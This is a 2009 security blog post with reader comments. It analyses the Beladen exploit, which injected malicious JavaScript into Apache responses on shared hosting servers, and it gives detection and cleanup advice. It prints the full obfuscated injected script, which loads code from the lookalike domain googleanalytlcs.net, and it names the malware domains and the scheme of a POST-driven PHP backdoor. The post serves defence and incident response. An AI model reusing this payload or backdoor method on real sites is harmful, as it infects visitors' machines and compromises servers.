msgbartop
Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
msgbarbottom
Loading site search ...

Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)

   18 Jun 09   Filed in Website exploits

There has not been much buzz about the recent Beladen attack. Although some sources estimated 40,000 infected web sites, it was clearly not as prominent as the Gumblar. To my mind, it’s because of the elusive nature of the Beladen exploit. It is very difficult to detect. It works intermittently. Only a small percentage of site visitors are exposed to malicious content. Many security scanners just overlook it.  Most likely the spread of this attack is underestimated.

In this post, I’ll list every fact I know about the Beladen exploit and hope you will add any missing information in the comments. This format proved to be very fruitful in my recent post about the Gumblar exploit where your 150+ comments made my article the most informative online resource about that attack that most other sites (including major media) referred to.

I hope the information you will find here can help site owners and hosting providers understand the nature of the exploit and get rid of it.

Let me start with admitting the fact that my knowledge about this exploit is still incomplete. However my own blog (before I moved it to a VPS) was affected by this exploit and I went to great lengths to identify the source of the problem. I inspected my whole site, worked with people from Google’s antimalware team, with my blog visitors who had seen antivirus alerts, with my hosting provider and now I have enough information to share with you.

(The main Unmask Parasites site is hosted by a different hosting provider and it has never had any security problems.)

The main thing you should know about this exploit is it’s a server-level exploit. All sites on exploited servers are affected. If you are on a shared hosting plan, there chances are you can’t resolve this issue without help of your hosting provider.

Malicious code

The exploit inserts the following code into random web server responses:

<!--fa1502e73a01cc72fb483c8f4f8036bf--><s cript language=javascript>
nebhovqgz="oZimPP%UwRntoZnl!U&HL!t!P";snqsxy="<sG63riG70tG20lG61nG67G75aG67e=jG61vaG73G63G72iG70tG3eG20fG75ncG74G69onG20tlzG62G6aoG65zG28lG77vosju)G7bvar
xqG6ecG65G74pyg,G6eG6dfG72zG66G67G6dG71=G22&G61G6b@3G79G5fb[~+4JUCO{$G39:w!G6fv17G23fr)G67G6c^G50}G71G48G20EG75N0G6ex]G36pG6dFi=(`G38G3bG472'G6aG41G2cG54zhG56cG4b.\\\"G42G49tG4dsG35|G65ZG2dG64G2a\",qG7aiG63yjlnG3dG22\",G6cjG6ccwG6fG67G70,ewG61G72igG2cG69G6cquG63fG6c=\"\",nG6fzG77G61n;fG6frG28xqnceG74pG79G67G3dG30G3bG78G71nG63G65G74G70ygG3clG77G76G6fsG6au.G6cenG67th;xqnG63etG70yg++){
G6cjG6cG63G77G6fgG70=G6cwvG6fsju.chG61rAG74G28G78qnG63G65G74pyG67);G65G77ariG67G3dG6eG6dG66rzfgmqG2eG69nG64exOf(G6cjG6cG63wG6fgp)G3bG69fG28ewG61rig>G2d1G29{
nG6fG7awaG6e=((G65G77arig+1G29G25G38G31G2d1)G3biG66G28nozwaG6e<=G30G29G6eoG7aG77G61n+=8G31G3biG6cG71ucG66G6cG2bG3dG6emfG72zfG67G6dG71.G63G68arAt(G6eoG7aG77an-1);G20}
G65G6csG65
G69lqucfl+G3dG6cG6alcwoG67pG3b}qG7aicG79jln+G3diG6cqG75G63fl;docG75menG74G2eG77G72ite(G71zG69cG79jG6cn);G7d<G2fsG63G72ipt>";pnnxtuxxb=nebhovqgz.charAt(6);randvunc=snqsxy.replace(/G/g,pnnxtuxxb);psdswky=unescape(randvunc);var
uivrkjiku,eqzrdwl;document.write(psdswky);uivrkjiku="<VMF^>E<5K)=mMEM_mZ(BMZ]M/Ak1k5K)=mMBE^kxlNklZ(BAk1k5K)=mMB>EE1k)EZ]m=)_E(ExZ!EDkMZ`gGEZ]m=)_\"5ZMz=FZ`Z]m=)_\"lZMz=FZ`gE4E'J&pn&pn&7nnngGE*vKNFZxM\"Kvv@
=Z(j5Z55=vx=*(y:7';pn|,|y7GEmkMV(/GEZ]m=)Z5(jE4EZ]m=)_\"Mv2szSM)=xl`gGEE*vKNFZxM\"!)=MZ`EB<SORt}zE^kxlNklZ(\\BUk1kSK)=mM\\BESRO(\\BVMMmw//lvvl^Zkxk^_M^K5\"xZM/bbNMFA\"A5\\B><\\/SORt}z>BEgG</5K)=mM>E</VMF^>E";tlzbjoez(uivrkjiku);</script><!--fa1502e73a01cc72fbf-->

This code sets a cookie which expires in 1000 days  (in my case it was sessionid=39128605A531)  and loads external script from googleanalytlcs . net/ __utmj . js. Note, this domain doesn’t have anything to do with Google Analytics. It’s just trying to mimic it in hope to look trustworthy.

This script injects a hidden iframe with the following source:   46970e.  beladen.  net/e/ads.php?b=1010

The iframe tries to load malicious code from other beladen subdomains. “46970e . beladen . net“, “662577 . beladen . net

Now you can see why Google’s diagnostic pages mention both beladen . net and googleanalytlcs . net for affected websites. My blog is no different.

Detection by AV tools.

This malicious code is usually detected by Antivirus tools.

AVG alert

AVG calls it “Exploit JavaScript Obfuscation (Type 501)

Avast Warning
… while Avast detects it as “JS:Redirector-H8 [Trj]

Random detection

Whenever I was contacted with such virus alerts by my blog readers (three times during May), I couldn’t reproduce the problem myself.  Googler’s that checked my blog with their malware scanners told me, that the percentage of server responses with the malicious code was very small. This makes the detection very difficult. On the other hand, most blog visitors were never exposed to the threat.

Apache access logs

When I tried to match my blog’s access logs with requests of visitors who had seen the AV alerts, I discovered that some entries were missing.  I.e. every time someone loads a web page in a browser, the browser not only loads the HTML code of the web page, it also loads a bunch of auxiliary files (e.g. styles, images). The set of these auxiliary files is always the same for the same web pages.  However, when visitors saw the AV warnings, the sets of requested files were always incomplete. Usually some small .gif file was missing.

The most probable reason is some process intercepts random Apache requests and replaces them with the malicious content.  This way, those intercepted requests are not handled by your site and never make it into your site logs.

Suspicious favicon.ico

The above AVG alert screenshot can be used as a proof of this hypothesis.  You might have noticed that the “suspicious” file in that alert was “favicon.ico“. It’s a small benign file used by browsers to display a small icon in the address bar next to web pages’ URLs. This file was not modified (actually none of my site files were modified. They are under version control and any changes can be easily detected). The only possibility this file can be considered as malicious, is some man-in-the-middle process intercepted the browser’s request for favicon.ico and responded with the malicious content.

Safe browsing diagnostics

To prove the server level of the exploit I checked the Google’s Safe Browsing status of all site that resided on the same server with my blog. Most of them had never been checked by Google’s malware scanners (the scanners are not as ubiquitous as the googlebot), some sites had been checked more than a month ago, and the only two sites marked as suspicious had the same “googleanalytlcs/beladen” pair on their diagnostic pages.

When I checked neighbors of other  affected sites (I found them in the  Google’s Webmaster Help forum) I saw the same picture. Other suspicious neighbor sites had the same beladen traces. The reason that only few sites are usually marked as suspicious is malware scanners rarely check smaller/new sites and even when they check affected sites, the problem is not always detected because of the elusive nature of the exploit.

David Wenzel’s attack description

Thanks Kaleh, one of the BadwareBusters.org forum moderator, who pointed me at the David Wenzel’s PDF describing an Apache attack. This document looked like the answer. It had a relevant keyword “beladen . net“, it described malicious processes that modified web server’s responses. It explained how one can detect the malicious processes, but… By the time I sent this document to my hosting provider (remember, I was on a shared hosting plan and was limited in thing I could do myself), the server had been rebooted and no traces of the malicious processes left.

However this was a temporary victory. A few days later my blog visitor reported an antivirus alert again. This time my hosting provider used David’s instructions but couldn’t detect any malicious processes.  As a temporary solution, they scheduled Apache to regularly restart, as the PDF document suggested.

We had some doubts that the attack described by David Wenzel was relevant to our case since we couldn’t find neihter malicious processes nor backdoor scripts.

Nonetheless, I decided to move my blog to a VPS (virtual private server) to have more things under control. Ironically, when I logged into my account on the shared hosting to prepare files for the move, I decided to try the “ps -A | grep d” command for the last time, and, to my surprise, the malicious process described in the David’s document was there:

$ ps -A | grep d
16768 ?        00:00:01 dse84abzw1abzw1

And when I checked the same process with a slightly different format of the ps command, it looked indistinguishable from legitimate Apache processes:
$ ps -ef | grep 16768
nobody   16768     1  0 02:44 ?        00:00:01 /usr/local/apache/bin/httpd -k start -DSSL

I immediately contacted my hosting provider and reported the suspicious process. They followed instructions from the PDF file and in just a few minutes they were able to identify the compromised account (it was not mine). They killed the process and contacted the owner of the compromised account. Unfortunately, they couldn’t locate the backdoor scripts and any malicious binaries.

Anyway, the attack described by David Wenzel proved to be real. Be sure to read this document as it describes how the exploit works, how it can be detected and how it can be prevented. It’s a must read for web server administrators. For the rest of us I’ll strip excessive technical details and explain the attack here.

Attack scheme

  • Step 1. Hackers managed to compromise one account on a web server. Most likely (as in many recent exploits) FTP credentials had been stolen and used to upload a backdoor PHP script. The script (as per David Wenzel) is placed into some images directory.
  • Step 2.  Hackers call this script via HTTP and pass  long encrypted parameters using the POST method.  POST parameters are usually not reflected in Apache logs and the corresponding entry won’t be prominent. One of the parameters is a PHP script that checks if the system is vulnerable and then creates a file on disk (the content is extracted from another encrypted POST parameter) and executes it.
  • Step 3. The new process starts intercepting random Apache requests for all sites residing on the compromised server and replacing legitimate responses with malicious content.

How to resolve the issue?

Instructions for site owners and webmasters (if Google lists your site as suspicious and mention beladen . net/googleanalytlcs . net on your site’s diagnostic page)

  1. Admit that the problem is inherent to the whole server and you should contact your hosting provider.
  2. Contact your hosting provider/web server admin and provide them with
    • a link to your site’s diagnostic page. Its URL is

      http://www.google.com/safebrowsing/diagnostic?site=example.com

      (replace example.com with your own site address.)

    • a link to the David Wenzel’s attack description.
    • a link to this article – it explains that the problem may be very hard to detect.
  3. Check your own computer for malware. Who knows, maybe it was your account that compromised the whole server.
  4. Once you are sure your computer is clean, change all passwords.  Make them strong (long and hard to guess) and don’t save them in programs that you use to upload/download files to/from your site.
  5. Use SFTP if possible. FTP is not secure.
  6. Consider changing your web host. It may take some time for your hosting provider to fix the issue. Some hosting providers may not even admit they have the problem.
    • If you are a loyal user, ask to move your account to another server
    • If you are not satisfied with the service, consider moving to some other hosting company.
    • If you have enough resources and web server administration skills, consider moving to a dedicated server (or to a virtual dedicated server) to have more things under your control and not to depend on cluelessness of some of your neighbors on shared hosting.

Instructions for hosting providers (if some of your clients say their sites are blacklisted by Google and their diagnostic pages mention beladen . net/googleanalytlcs . net )

  1. Admit that the whole web server is affected, not a single site.
  2. Check Google’s diagnostic pages for other sites on the same server. Most likely you will find at least one more site with the same problem.
  3. Be persistent. Remember, the exploit may be dormant at the time you are are trying to detect it and you won’t be able to find anything suspicious. However it may revive any time.
  4. Peruse the David Wenzel’s attack description. This is the most definitive guide to this attack. It contains almost everything you need to know to detect and remove this exploit.
  5. To temporarily stop the attack you can restart Apache or even the whole server.
  6. When you detect the compromised account, make sure to change FTP passwords and have the clients scan their computers for malware.
  7. Remove the backdoor scripts (if you are able to find them)
  8. David suggests disable the “exec” function in PHP. However this may not be acceptable in your case since many third party PHP scripts rely on this function (e.g. WordPress in class-snoopy.php)
  9. Consider disabling the “dl” function in PHP.  There was a reported vulnerability : “PHP could allow a remote attacker to bypass security restrictions, caused by an error in the dl() function. A remote attacker could exploit this vulnerability to bypass open_basedir restrictions and gain unauthorized access to the system.”

Beladen is down, but the problem is still there

When I started the investigation googleanalytlcs . net server was live and served the malicious content. At the same time, Beladen . net resolved to 127.0.0.1 (the address used for local computers), however subdomains of beladen . net had valid DNS records and pointed to valid remote IP addresses.

Update: Beladen seems to have changed its name and now operates from shkarkimi . net.  On Safe Browsing diagnostic pages Google now mention malicious domains as:

Malicious software is hosted on 2 domain(s), including googleanalytlcs . net/, shkarkimi . net/.

1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including googleanalytlcs . net/.

When I try to ping shkarkimi and its subdomains they resolve to 127.0.0.1. Now both malicious domains and beladen subdomains don’t resolve any more. This attack have been shut down. But security issues revealed by this exploit are still open.

Backdoor scripts still reside on thousands of web servers and hackers can activate new attacks whenever they want. The security hole makes it possible to hijack Apache processes by some compromised limited user account. Unless it is patched, millions of web sites on shared hostings can be affected by hacker attacks even if just a single neighbor account is compromised. And when there are hundreds of sites hosted on a single server the chances that one of them can be compromised are very high. One bad apple spoils the whole bunch.

Have your say

Do you have anything to add? Was your site affected by this exploit? Do you know what security vulnerability is exploited here? Is it a PHP vulnerability or an Apache vulnerability? Is there any patch? Any other security issues that cannot be controlled by site owners on shared hosting? Or maybe you have found some inaccuracy in my article? Please leave your comments below.

Similar posts:

Reader's Comments (24)

  1. |

    Denis – thanks for sharing your experience. We too have been tracking this and have been in communication with David Wenzel.

    Often times the malicious remote access script is in a .php file in the images directory. Sometimes it’s named either image.php or gifimg.php or it has the same name as one of the image files, but has a .php extension (as David mentions in his article)

    We have tested these files with various POST commands and have been able to execute commands via this method.

    It’s been our experience in watching packet traces of traffic on an infected server that the code only appears when these .php files are sent a POST command from the “mother ship”. That’s why it can’t be seen or traced to any one specific timing issue. The POST commands are sent almost at random and that’s when traffic is intercepted and modified to the visitor’s browser who just happens to viewing the site at that time.

    Many hosting providers refuse to admit the server may have a problem so doing a reverse IP lookup, obtaining a list of other sites on the server and then checking the Google Diagnostics pages for some of those sites has been enough to convince hosting providers – once you get high enough in the support chain.

    Also, in every case we’ve worked on so far, the original infection has been the result of a virus/trojan on the PC used to upload to the website.

    Any other information we obtain we’ll share here with you.

    • |

      Thanks Thomas!

      It would be really interesting to intercept the genuine malicious POST parameters to single out the code that exploits web servers. If there is a vulnerability, there must be a patch. Or the vendors of the vulnerable software should admit the security hole and start working on patching it.

      By the way, do you think that the malicious processes live for a very short time and hackers need to send new POST requests every once in a while to reactivate the exploit?

      • |

        Yes. It appears that the control server (hacker’s server) sends these POSTs out in 3′s and the response always has a Content-Length header variable of 6 which is the “imHere” response from the malicious .php file.

        When the 3 POSTs are finished, there are 3 new processes running on the server.

        We have also verified that the files are sent up to the server originally via FTP with an auth’d account. So we presume the FTP credentials were hijacked or stolen, or bought or brute-forced.

        We’re not sure how long the processes stay active on their own. We’ve seen them die without a server reboot. But we can’t yet coordinate the log files with the dying processes.

        • |

          In David’s article there had beed 3 “dse84…” processes in the ps -A listing. However the only time I saw that on my host’s server, there was only one “dse84…” process. Probably the number of spawned processes may vary. Or the rest two processes had already terminated by that time.

      • |

        Denis,

        I can post the commands sent, the decoded strings, etc. if you’d like.

        Obviously we do security work as well, but we are interested in sharing so that many can learn.

        Please contact me off-list to discuss.

        Thank you.

  2. |

    Awesome description on Beladen trend. I was having some difficulty trying to identify the issue also being that it is intermittent when visiting the infected website. I was messing with the referer and user-agent attributes to try and get it to fire more often being that I hear that the trend is evolving and getting smarter trying to identify if you are running IE as apposed to Firefox.

    Great Info as always, I use unmask parasites regularly to either assist or understand recent trends that I have been working with or seeing.

    • |

      Hi James,

      No matter how I tried I couldn’t reproduce the problem myself. I also changed refers and user-agents. To no avail.

      This exploit is loyal to Firefox though. I’ve seen screenshots of virus alerts with Firefox 3.0.10 on the background. Other screenshots displayed IE7. In both cases it was Win XP.

  3. |

    [...] The main thing you should know about this exploit is it’s a server-level exploit. All sites on exploited servers are affected. If you are on a shared hosting plan, there chances are you can’t resolve this issue without help of your … Read more from the original source: Beladen – Elusive Web Server Exploit. (information for site owners … [...]

  4. |

    Denis,

    I am so glad that you finally got around to getting this published. There has been a tremendous lack of information available about the Beladen / Googleanalytlcs issue and it does not seem to be going away.

    One of the most frustrating things for others who have experienced this was the fact that some would “Request a Review” through their Google Webmaster Tools Account, and their sites would clear, without their having made any kind of modifications. Some of them would be flagged again shortly after that, while others seemed to be free of the problem.

    Your description of how this can function paints an excellent picture for the victims and the web-hosts, so that they will be better able to understand what is happening. Hopefully, the hosting providers will get involved enough to put a stop to it on the infected servers.

    Thanks again for the time and effort you put into sharing your experience!

  5. |

    Is it detected in the usual way by unmaskparasites ?

    • |

      I guess Unmask Parasites can detect it only if you are extremely lucky and Unmask Parasites have received the modified response.

      I wouldn’t count on Unmask Parasites in this exploit detection. The best way to identify your server is affected with this particular exploit is to check Google’s Safe Browsing diagnostic pages for your site and neighbor sites on the same server. If any of them contain references to beladen, googleanalytlcs, or shkarkimi (even if it says that the site is no longer suspicious), there chances are the server is still exploited.

      • |

        Google? No! Not that for me!
        The most unreliable and damaging agent
        for website monitoring – see my earlier posts here. Many have already quit it, not just me.

        Please develop unmaskparasite to such extent that it does better than those and becomes the best. You can !!!

  6. |

    How is version controlling done ? Any script? Any link ? For shared hosts and vps ?

  7. |

    Denis,

    Just Posted up steps to take to try to prevent attacks like Gumblar, Martuz and Nine-Ball.

    http://blog.igothacked.com/2009/06/steps-to-prevent-gumblar-martuz-nine.html

  8. |

    Hi,

    Just thought I’d leave a note here thanking you immensely for providing this information. It aided me in catching the offending file (a file named the same as an image but with php on the end). I performed the following search in the root of the vhosts directory:

    find . -iname ‘*php’ | xargs grep ‘Instant Zero’ -sl

    This showed the offending file which I could remove and notify the account holder to “get a real password”.

    I also thought I’d share that I saw totally different URLs – my sites were being redirected to:

    indianapolis-sales .com
    best-virus-scanner5 .com

    The rest of the article still fitted (I never did see the processes running however).

    Thanks again,
    Ben.

    • |

      Also used the following search and found another file!:

      find . -iname ‘*php’ | xargs grep ‘\$_POST\[\"p\"\]‘ -sl

      Again, as mentioned in the article – word wrap wasn’t on in Joe so it looked legit – a search for the term revealed the code way off to the right…

    • |

      Hi Ben,

      I’ve noticed these new sites as well. The malicious redirects a similar to the Goscanpark attack (a new version of the same attack)

      Thanks for sharing search commands.

  9. |

    The majority of the recommendations and the article seem to be ignoring the fact that if a server is serving up random code instead of what was requested, the server has been root compromised; it’s not just something as innocent and dismissible as oh a site on the server has some php file hiding somewhere and we’re all good if we delete it.

    Before a php script can take the place of a child apache process, listen on port 80 and answer queries, the server needs to be hacked; the parent apache process running as root spawns the child processes, it’s not going to randomly spawn someone’s php file instead. If the server has been hacked, then running a bunch of commands to find things running is pointless as none of the utilities can be trusted, so who knows if what’s being reported has any relevance. Their output will most likely have been modified to hide the fact that processes that should not be there are running, or maybe they show you some bogus apache-owned process so you can kill it and think you’ve eliminated the issue.

    If this problem does occur, all the server binaries should be compared to a known-good system after first replacing the ssh daemon and the commands needed to do the comparison such as md5sum and rsync if you sync up with your read-only known good system, etc.

  10. |

    i don’t have a website. But i did get this Exploit JavaScript obfuscation threat block from AVG. the file name is adwstat.com/lib/
    i could not find any info on AVG on it or what to do about it. I’m not sure i understand what all you guys are doing about it or what i can do about it. any info would be gratefully appreciated.

  11. |

    I also received this exploit from adwstat.com/lib/, the hidden iframe was from space.com. I’ve got a copy of the malicious iframe if that is of use or interest.

    Thank you for the article, very helpful.

    Kind Regards

  12. |

    Im using godaddy’s shared hosting and my site has got affected twice in 10 days. The infection targets all .php files and adds an encrypted code to the first line.

    I restored my site using local end backup. Changed all CHMOD permissions to read only. The FTP passwords are iron tough. Still, it came back. Im not sure if its beladen or something new. I can provide screenshots if needed.

    Im very sure that its aserver based issue and im seriously considering moving to a new hosting provider. Can you suggest which is the safest and most co-operative hosting provider.

    Regards
    Bobby

    • |

      It’s not beladen. It doesn’t affect all .php file. With beladen, usually no files are affected at all.

  13. |

    [...] Beladen Exploit [...]